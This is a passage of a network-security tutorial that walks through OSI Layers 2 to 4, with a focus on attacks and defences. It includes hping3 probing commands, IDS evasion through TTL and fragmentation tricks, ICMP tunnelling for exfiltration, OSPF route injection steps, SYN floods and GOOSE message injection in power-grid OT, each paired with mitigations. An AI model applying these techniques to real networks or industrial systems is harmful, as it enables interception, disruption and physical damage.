  BPDU Guard: Disable port &lt;span class="k"&gt;if &lt;/span&gt;BPDU received on access port &lt;span class="o"&gt;(&lt;/span&gt;PortFast ports&lt;span class="o"&gt;)&lt;/span&gt;
  Root Guard: Prevent specific ports from becoming root bridge ports
  BPDU Filter: Don&lt;span class="s1"&gt;'t send/receive BPDUs on specific ports
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;LLDP/CDP Information Disclosure:&lt;/strong&gt;&lt;br&gt;
LLDP (Link Layer Discovery Protocol, IEEE 802.1AB) and CDP (Cisco Discovery Protocol) are L2 protocols that advertise device information to neighbours.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture LLDP packets to enumerate network devices&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 ether proto 0x88cc &lt;span class="nt"&gt;-v&lt;/span&gt;    &lt;span class="c"&gt;# LLDP EtherType&lt;/span&gt;
&lt;span class="c"&gt;# Reveals: device name, port description, VLAN info, IP address, hardware model&lt;/span&gt;

&lt;span class="c"&gt;# Wireshark filter: lldp or cdp&lt;/span&gt;
&lt;span class="c"&gt;# In a corporate network, CDP/LLDP can reveal the entire network topology&lt;/span&gt;

&lt;span class="c"&gt;# Prevention: Disable CDP/LLDP on untrusted ports (user-facing ports)&lt;/span&gt;
&lt;span class="c"&gt;# Cisco: no cdp enable  (per interface)&lt;/span&gt;
&lt;span class="c"&gt;# Linux: sudo lldpad -d; lldptool -L -i eth0 adminStatus=disabled&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.6 Layer 2 in OT/ICS
&lt;/h3&gt;

&lt;p&gt;Industrial Ethernet increasingly uses standard Layer 2 (Ethernet II with 802.1Q). However:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GOOSE and Sampled Values (IEC 61850):&lt;/strong&gt;&lt;br&gt;
These are Layer 2 protocols — they do NOT use IP. They are sent directly as Ethernet frames with EtherType 0x88BA (GOOSE) and 0x88CD (Sampled Values). This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;They cannot be filtered by IP firewalls&lt;/li&gt;
&lt;li&gt;They cannot be encrypted with TLS (which requires IP)&lt;/li&gt;
&lt;li&gt;They traverse the Layer 2 domain freely&lt;/li&gt;
&lt;li&gt;An attacker with Layer 2 access can inject, replay, or suppress GOOSE messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;GOOSE messages carry protection relay status. A relay detecting a fault sends a GOOSE message instructing other relays and breakers to trip. Injecting a false GOOSE message can cause protective relays to trip unnecessarily — causing outages. Suppressing GOOSE messages prevents relays from tripping during an actual fault — causing equipment damage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is why IEC 62351 exists&lt;/strong&gt; — it defines security for IEC 61850, including GOOSE message authentication using HMAC-SHA256. Adoption is growing but far from universal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;IEC 62351-6 GOOSE Security:
  - Authentication tag appended to GOOSE message
  - HMAC-SHA256 using pre-shared key or certificate-based key
  - Prevents injection and modification
  - Does NOT prevent replay &lt;span class="o"&gt;(&lt;/span&gt;separate mechanism needed&lt;span class="o"&gt;)&lt;/span&gt;
  - Performance impact: minimal on modern hardware, significant on legacy IEDs

Checking &lt;span class="k"&gt;for &lt;/span&gt;GOOSE &lt;span class="k"&gt;in &lt;/span&gt;a capture:
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 ether proto 0x88ba   &lt;span class="c"&gt;# GOOSE frames&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Layer 2 is the most dangerous layer for lateral movement on a LAN. ARP has no authentication. STP has no authentication. VLANs can be hopped. MAC tables can be flooded. All of this happens before any IP firewall or IDS can see the traffic. In OT environments, IEC 61850 GOOSE running at Layer 2 with no authentication represents a direct path to physical consequence. Detecting Layer 2 attacks requires monitoring at Layer 2 — which most organisations fail to implement.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Layer 3 — Network
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 What Layer 3 Does
&lt;/h3&gt;

&lt;p&gt;Layer 3 enables communication between devices on &lt;strong&gt;different&lt;/strong&gt; networks. While Layer 2 handles same-segment communication, Layer 3 handles routing — forwarding packets across multiple networks to reach a destination anywhere in the world.&lt;/p&gt;

&lt;p&gt;Layer 3 introduces &lt;strong&gt;logical addressing&lt;/strong&gt; — IP addresses — which are independent of hardware and can be assigned, changed, and structured hierarchically. This hierarchy (networks, subnets) enables the internet's routing system to scale to billions of devices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 devices:&lt;/strong&gt; Routers. A router has multiple Layer 3 interfaces, each on a different network. It examines the destination IP of every incoming packet and forwards it toward the destination based on its routing table.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 IP — Internet Protocol
&lt;/h3&gt;

&lt;p&gt;IP is the fundamental Layer 3 protocol. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Addressing:&lt;/strong&gt; Source and destination IP addresses&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Routing:&lt;/strong&gt; TTL, fragmentation, options for routing decisions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connectionless delivery:&lt;/strong&gt; No guarantee of delivery, ordering, or error-free transmission (that is TCP's job at L4)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IPv4 header fields critical for security (full header covered in 1.1):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TTL (Time to Live):&lt;/strong&gt;&lt;br&gt;
Decremented by each router. Prevents infinite routing loops. OS fingerprinting uses initial TTL values (Linux=64, Windows=128, Cisco=255). When TTL reaches 0, router sends ICMP Time Exceeded and drops the packet.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# TTL manipulation in attacks:&lt;/span&gt;
&lt;span class="c"&gt;# Tools like hping3 allow setting arbitrary TTL values&lt;/span&gt;
hping3 &lt;span class="nt"&gt;--ttl&lt;/span&gt; 1 target_ip            &lt;span class="c"&gt;# Packet dies at first hop (ICMP Time Exceeded response reveals first router)&lt;/span&gt;
hping3 &lt;span class="nt"&gt;--ttl&lt;/span&gt; 255 target_ip          &lt;span class="c"&gt;# Maximum TTL, reaches anywhere&lt;/span&gt;

&lt;span class="c"&gt;# TTL-based evasion: some IDSs only inspect packets with TTL &amp;gt; threshold&lt;/span&gt;
&lt;span class="c"&gt;# Sending packets with very low TTL that will die before reaching IDS but&lt;/span&gt;
&lt;span class="c"&gt;# be processed by the target if the target is "behind" the IDS&lt;/span&gt;
&lt;span class="c"&gt;# This is the basis of "TTL manipulation" IDS evasion&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fragmentation:&lt;/strong&gt;&lt;br&gt;
IP packets can be fragmented when they exceed the MTU of a link. The receiving end reassembles fragments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Original packet: 4000 bytes (exceeds MTU 1500)

Fragment 1: [IP Header: offset=0, MF=1][1480 bytes of data]
Fragment 2: [IP Header: offset=185, MF=1][1480 bytes of data]
Fragment 3: [IP Header: offset=370, MF=0][1040 bytes of data]

MF = More Fragments flag
offset = where this fragment fits in the original packet (in 8-byte units)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fragmentation attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Teardrop (CVE-1999):&lt;/strong&gt; Overlapping fragment offsets cause kernel crash during reassembly. Patched in modern OSes but relevant for legacy embedded OT devices.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fragmentation evasion:&lt;/strong&gt; Send a signature-triggering payload split across fragments. Some IDS systems don't reassemble fragments before signature matching.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tiny fragment attack:&lt;/strong&gt; Force TCP header into second fragment. The first fragment is too small to contain enough of the TCP header for access control decisions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.3 ICMP — Internet Control Message Protocol
&lt;/h3&gt;

&lt;p&gt;ICMP is the error-reporting and diagnostic protocol at Layer 3. It runs directly over IP (protocol number 1) and has no ports.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ICMP Types critical for security:
Type 0:  Echo Reply          ← Response to ping
Type 3:  Destination Unreachable
  Code 0: Net Unreachable    ← Routing problem
  Code 1: Host Unreachable   ← Host down or blocked
  Code 3: Port Unreachable   ← No service listening (UDP)
  Code 4: Fragmentation Needed ← MTU discovery
  Code 13: Communication Administratively Prohibited ← Firewall block
Type 5:  Redirect            ← Router telling host to use different route
Type 8:  Echo Request        ← Ping
Type 11: Time Exceeded       ← TTL expired (traceroute mechanism)
Type 13: Timestamp Request
Type 17: Address Mask Request
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ICMP Redirect Attack:&lt;/strong&gt;&lt;br&gt;
ICMP Type 5 allows a router to tell a host "use a different gateway for this destination." An attacker can send spoofed ICMP Redirect messages to reroute traffic through the attacker's machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Observe ICMP traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 icmp &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Send ICMP ping with specific options&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 4 192.168.1.1
hping3 &lt;span class="nt"&gt;-1&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 4 192.168.1.1         &lt;span class="c"&gt;# ICMP ping using hping3&lt;/span&gt;

&lt;span class="c"&gt;# Test firewall ICMP filtering&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 target                   &lt;span class="c"&gt;# ICMP Echo → response tells if host is up&lt;/span&gt;
hping3 &lt;span class="nt"&gt;-S&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 target             &lt;span class="c"&gt;# TCP SYN to port 80 → use when ICMP is blocked&lt;/span&gt;

&lt;span class="c"&gt;# ICMP tunnel — exfiltrate data in ICMP payloads&lt;/span&gt;
&lt;span class="c"&gt;# icmptunnel, ptunnel — tools that tunnel IP traffic inside ICMP&lt;/span&gt;
&lt;span class="c"&gt;# Commonly used to bypass captive portals and restrictive firewalls&lt;/span&gt;
&lt;span class="c"&gt;# Detection: ICMP packets with large or unusual payloads&lt;/span&gt;
&lt;span class="c"&gt;# Normal ping payload: 32-64 bytes&lt;/span&gt;
&lt;span class="c"&gt;# ICMP tunnel payload: up to 1400 bytes, consistent size, high frequency&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Routing and Routing Protocols
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Static routing:&lt;/strong&gt; Administrator manually configures routes. Stable, predictable, but doesn't adapt to topology changes. Common in small networks and OT environments where predictability matters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dynamic routing protocols:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Used In&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RIP v2&lt;/td&gt;
&lt;td&gt;L7 over UDP&lt;/td&gt;
&lt;td&gt;Distance vector&lt;/td&gt;
&lt;td&gt;Legacy, small networks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OSPF&lt;/td&gt;
&lt;td&gt;L3 (IP proto 89)&lt;/td&gt;
&lt;td&gt;Link state&lt;/td&gt;
&lt;td&gt;Enterprise, campus&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EIGRP&lt;/td&gt;
&lt;td&gt;L3 (IP proto 88)&lt;/td&gt;
&lt;td&gt;Hybrid&lt;/td&gt;
&lt;td&gt;Cisco networks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BGP&lt;/td&gt;
&lt;td&gt;L7 over TCP 179&lt;/td&gt;
&lt;td&gt;Path vector&lt;/td&gt;
&lt;td&gt;Internet, ISPs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IS-IS&lt;/td&gt;
&lt;td&gt;L2 (directly)&lt;/td&gt;
&lt;td&gt;Link state&lt;/td&gt;
&lt;td&gt;ISP backbone, large enterprise&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Routing protocol attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OSPF Route Injection:&lt;/strong&gt;&lt;br&gt;
OSPF authenticates with MD5 or plain text passwords. In many deployments, authentication is disabled entirely. An attacker who can send OSPF packets (by being on the same L2 segment as a router, or by compromising a router) can inject false routes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;OSPF attack scenario:
1. Attacker joins OSPF domain &lt;span class="o"&gt;(&lt;/span&gt;sends Hello packets with Area ID&lt;span class="o"&gt;)&lt;/span&gt;
2. If authentication disabled or key known → attacker becomes OSPF neighbour
3. Attacker advertises route with low cost to a critical subnet
4. All routers update their routing tables to send traffic through attacker
5. MITM or traffic black-hole achieved at routing level

Tools: Scapy &lt;span class="o"&gt;(&lt;/span&gt;craft OSPF packets&lt;span class="o"&gt;)&lt;/span&gt;, FRRouting &lt;span class="o"&gt;(&lt;/span&gt;full routing suite&lt;span class="o"&gt;)&lt;/span&gt;
Detection: Monitor &lt;span class="k"&gt;for &lt;/span&gt;new OSPF neighbours, unexpected route changes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;BGP Hijacking (covered in 1.1):&lt;/strong&gt; Advertising false routes for IP ranges you don't own. RPKI (Resource Public Key Infrastructure) provides cryptographic route origin validation.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 IPSec — Layer 3 Security
&lt;/h3&gt;

&lt;p&gt;IPSec is the native security protocol for Layer 3. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authentication Header (AH, protocol 51):&lt;/strong&gt; Integrity and authentication, no encryption&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encapsulating Security Payload (ESP, protocol 50):&lt;/strong&gt; Encryption + integrity + authentication&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internet Key Exchange (IKE, UDP 500):&lt;/strong&gt; Key negotiation protocol&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Two modes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Transport mode:&lt;/strong&gt; Encrypts only the payload, original IP header visible — used for end-to-end between hosts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tunnel mode:&lt;/strong&gt; Encrypts entire IP packet, adds new IP header — used for VPN gateways
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check IPSec SA (Security Association) status&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip xfrm state list             &lt;span class="c"&gt;# Linux (xfrm = transform framework)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip xfrm policy list            &lt;span class="c"&gt;# IPSec policies&lt;/span&gt;

&lt;span class="c"&gt;# Wireshark filters for IPSec:&lt;/span&gt;
&lt;span class="c"&gt;# esp  → show ESP traffic (encrypted, but you can see headers)&lt;/span&gt;
&lt;span class="c"&gt;# isakmp → show IKE key exchange&lt;/span&gt;
&lt;span class="c"&gt;# If you have the keys, Wireshark can decrypt ESP traffic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Layer 3 is where routing decisions happen, and routing decisions control which paths traffic takes. Controlling routing at L3 gives an attacker traffic interception capabilities at internet scale (BGP hijacking) or network scale (OSPF injection). Most networks deploy strong perimeter security at L3 (firewalls, ACLs) but have minimal protection for the routing protocols themselves. In OT networks, routers between zones should use authenticated routing protocols — but rarely do.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Layer 4 — Transport
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 What Layer 4 Does
&lt;/h3&gt;

&lt;p&gt;Layer 4 is where application-to-application communication is implemented. While Layer 3 gets a packet between two machines, Layer 4 gets data between two specific &lt;strong&gt;processes&lt;/strong&gt; running on those machines. It introduces:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Port numbers:&lt;/strong&gt; Identify which application (process) should receive the data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multiplexing:&lt;/strong&gt; Multiple applications can use the network simultaneously on the same machine&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connection management (TCP):&lt;/strong&gt; Establishing, maintaining, and terminating connections&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reliability (TCP):&lt;/strong&gt; Acknowledgements, retransmission, flow control, congestion control&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connectionless delivery (UDP):&lt;/strong&gt; Minimal overhead, no guarantees&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.2 Port Numbers
&lt;/h3&gt;

&lt;p&gt;Ports are 16-bit numbers (0-65535) that identify specific applications or services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Port ranges:
  0-1023:     Well-Known Ports (require root/admin to bind)
  1024-49151: Registered Ports (IANA registered applications)
  49152-65535: Dynamic/Ephemeral Ports (used by clients for outgoing connections)

Critical well-known ports — know these cold:
  20/TCP  → FTP Data
  21/TCP  → FTP Control
  22/TCP  → SSH
  23/TCP  → Telnet (INSECURE)
  25/TCP  → SMTP (mail sending)
  53/TCP+UDP → DNS
  67/UDP  → DHCP Server
  68/UDP  → DHCP Client
  69/UDP  → TFTP (trivial FTP — no auth, often misconfigured)
  80/TCP  → HTTP
  88/TCP  → Kerberos
  110/TCP → POP3 (email retrieval)
  111/TCP+UDP → RPC (Remote Procedure Call)
  119/TCP → NNTP (Usenet)
  123/UDP → NTP (time synchronisation)
  135/TCP → Microsoft RPC/DCOM
  137/UDP → NetBIOS Name Service
  138/UDP → NetBIOS Datagram Service
  139/TCP → NetBIOS Session Service
  143/TCP → IMAP (email retrieval)
  161/UDP → SNMP (network management)
  162/UDP → SNMP Trap
  389/TCP+UDP → LDAP
  443/TCP → HTTPS
  445/TCP → SMB (Windows file sharing, direct over TCP)
  465/TCP → SMTPS (SMTP over TLS)
  500/UDP → IKE (IPSec key exchange)
  502/TCP → Modbus TCP (industrial — no auth!)
  514/UDP → Syslog
  587/TCP → SMTP Submission
  593/TCP → RPC over HTTP
  636/TCP → LDAPS (LDAP over TLS)
  873/TCP → rsync
  993/TCP → IMAPS
  995/TCP → POP3S
  1080/TCP → SOCKS proxy
  1194/UDP → OpenVPN
  1433/TCP → Microsoft SQL Server
  1521/TCP → Oracle Database
  1723/TCP → PPTP VPN
  2049/TCP+UDP → NFS
  2375/TCP → Docker daemon (INSECURE — no TLS)
  2376/TCP → Docker daemon (TLS)
  2483/TCP → Oracle DB with TLS
  3306/TCP → MySQL/MariaDB
  3389/TCP → RDP (Remote Desktop)
  3478/UDP → STUN (WebRTC)
  4444/TCP → Metasploit default listener
  4786/TCP → Cisco Smart Install (extremely dangerous, weaponised)
  5000/TCP → Docker Registry, Flask dev server
  5432/TCP → PostgreSQL
  5900/TCP → VNC
  5985/TCP → WinRM (HTTP)
  5986/TCP → WinRM (HTTPS)
  6379/TCP → Redis (often exposed with no auth!)
  6443/TCP → Kubernetes API server
  8080/TCP → HTTP alternate (common for web apps, Burp proxy default)
  8443/TCP → HTTPS alternate
  9200/TCP → Elasticsearch (often exposed with no auth!)
  27017/TCP → MongoDB (often exposed with no auth!)
  47808/UDP → BACnet (building automation — no auth)
  44818/TCP → EtherNet/IP (industrial — CIP protocol)
  102/TCP → S7comm (Siemens PLC — Stuxnet used this)
  20000/TCP → DNP3 over TCP (power grid SCADA)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 TCP — Transmission Control Protocol
&lt;/h3&gt;

&lt;p&gt;TCP provides a reliable, ordered, error-checked byte stream between two applications. It achieves this through:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Three-Way Handshake — Connection Establishment:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client                          Server
  │                               │
  │──── SYN (seq=x) ────────────→ │  Client initiates
  │                               │  Server: "I see your request"
  │ ←── SYN-ACK (seq=y, ack=x+1) │  Server acknowledges + sends own seq
  │                               │
  │──── ACK (ack=y+1) ──────────→ │  Client acknowledges server's seq
  │                               │
  │         [Connected]           │
  │                               │
  │──── DATA ───────────────────→ │
  │ ←── ACK ──────────────────── │

SYN: Synchronise — "I want to establish a connection, my starting sequence number is x"
ACK: Acknowledge — "I received your data up to sequence number n"
seq: Sequence number — tracks position of data in the byte stream
ack: Acknowledgement number — "I've received everything up to here, send me this next"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why sequence numbers matter for security:&lt;/strong&gt;&lt;br&gt;
Early TCP implementations used predictable sequence numbers. An attacker could predict the server's sequence number, forge a TCP ACK, and inject data into a connection without completing the handshake — TCP session hijacking. Modern OSes use cryptographically random ISNs (Initial Sequence Numbers) per RFC 6528.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TCP Flags — the complete set:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Hex&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;Security Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SYN&lt;/td&gt;
&lt;td&gt;0x02&lt;/td&gt;
&lt;td&gt;Synchronise — initiate connection&lt;/td&gt;
&lt;td&gt;SYN flood, port scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACK&lt;/td&gt;
&lt;td&gt;0x10&lt;/td&gt;
&lt;td&gt;Acknowledge received data&lt;/td&gt;
&lt;td&gt;ACK scan bypasses stateless firewalls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FIN&lt;/td&gt;
&lt;td&gt;0x01&lt;/td&gt;
&lt;td&gt;Finish — graceful close&lt;/td&gt;
&lt;td&gt;FIN scan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RST&lt;/td&gt;
&lt;td&gt;0x04&lt;/td&gt;
&lt;td&gt;Reset — immediate close&lt;/td&gt;
&lt;td&gt;RST injection to terminate connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PSH&lt;/td&gt;
&lt;td&gt;0x08&lt;/td&gt;
&lt;td&gt;Push — deliver immediately&lt;/td&gt;
&lt;td&gt;Not security-relevant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;URG&lt;/td&gt;
&lt;td&gt;0x20&lt;/td&gt;
&lt;td&gt;Urgent — urgent pointer valid&lt;/td&gt;
&lt;td&gt;Used in some evasion techniques&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ECE&lt;/td&gt;
&lt;td&gt;0x40&lt;/td&gt;
&lt;td&gt;ECN-Echo — congestion signalling&lt;/td&gt;
&lt;td&gt;Not typically security-relevant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWR&lt;/td&gt;
&lt;td&gt;0x80&lt;/td&gt;
&lt;td&gt;Congestion Window Reduced&lt;/td&gt;
&lt;td&gt;Not typically security-relevant&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Four-Way Termination — Connection Teardown:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client                          Server
  │                               │
  │──── FIN (seq=x) ────────────→ │  Client done sending
  │ ←── ACK (ack=x+1) ─────────  │  Server acknowledges
  │                               │  [Server may still send data]
  │ ←── FIN (seq=y) ───────────── │  Server done sending
  │──── ACK (ack=y+1) ──────────→ │  Client acknowledges
  │                               │
  │         [Closed]              │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The TIME_WAIT state: After sending the final ACK, the client waits 2×MSL (Maximum Segment Lifetime, typically 60-240 seconds) before fully closing. This ensures the final ACK was received. TIME_WAIT exhaustion is a DoS vector — flood connections to force TIME_WAIT states until the system runs out of ephemeral ports.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TCP SYN Flood:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SYN flood attack:
1. Attacker sends large volume of SYN packets &lt;span class="o"&gt;(&lt;/span&gt;often with spoofed &lt;span class="nb"&gt;source &lt;/span&gt;IPs&lt;span class="o"&gt;)&lt;/span&gt;
2. Server allocates resources &lt;span class="k"&gt;for &lt;/span&gt;each half-open connection &lt;span class="o"&gt;(&lt;/span&gt;SYN_RECEIVED state&lt;span class="o"&gt;)&lt;/span&gt;
3. Server sends SYN-ACK to spoofed addresses &lt;span class="o"&gt;(&lt;/span&gt;no response comes back&lt;span class="o"&gt;)&lt;/span&gt;
4. Server&lt;span class="s1"&gt;'s connection table fills up
5. Legitimate connection requests are rejected — DoS

Mitigation: SYN cookies
  Instead of allocating state on SYN, server encodes connection parameters
  into the SYN-ACK sequence number cryptographically
  State is only allocated when valid ACK comes back
  No state for half-open connections → SYN flood ineffective

Check SYN cookie status on Linux:
cat /proc/sys/net/ipv4/tcp_syncookies
# 1 = enabled (default on modern kernels when under attack)
# 0 = disabled
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 UDP — User Datagram Protocol
&lt;/h3&gt;

&lt;p&gt;UDP provides a minimal transport with no connection establishment, no acknowledgements, no flow control, and no ordering guarantees.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;UDP Header (8 bytes — much simpler than TCP's 20 bytes):
┌─────────────────┬─────────────────┐
│  Source Port    │  Dest Port      │  2 + 2 = 4 bytes
├─────────────────┼─────────────────┤
│    Length       │    Checksum     │  2 + 2 = 4 bytes
└─────────────────┴─────────────────┘
│         Data                      │
└───────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;UDP is used when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Speed matters more than reliability:&lt;/strong&gt; DNS (retry is easy), VoIP, video streaming&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Application-level reliability:&lt;/strong&gt; The application handles retransmission if needed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Broadcast/Multicast:&lt;/strong&gt; TCP cannot broadcast; UDP can&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simple request/response:&lt;/strong&gt; DHCP, DNS, SNMP — one packet out, one packet back&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;UDP-based amplification DDoS:&lt;/strong&gt;&lt;br&gt;
UDP's connectionless nature enables amplification attacks. The attacker sends a small UDP request with a spoofed source IP (victim's IP) to a server with a large response. The server sends a large response to the victim.&lt;br&gt;
